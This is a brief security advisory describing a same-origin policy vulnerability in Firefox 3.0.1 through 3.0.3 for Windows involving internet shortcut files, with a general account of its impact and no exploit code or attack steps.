Mozilla Firefox is prone to a vulnerability that allows attackers to violate the same-origin policy. This issue occurs because the application fails to properly enforce the same-origin policy when handling internet shortcut files.

An attacker may create a malicious webpage that can access the properties of another domain. This may allow the attacker to obtain sensitive information or launch other attacks against a user of the browser.

Firefox 3.0.1 through 3.0.3 for Microsoft Windows are vulnerable; other versions may also be affected.
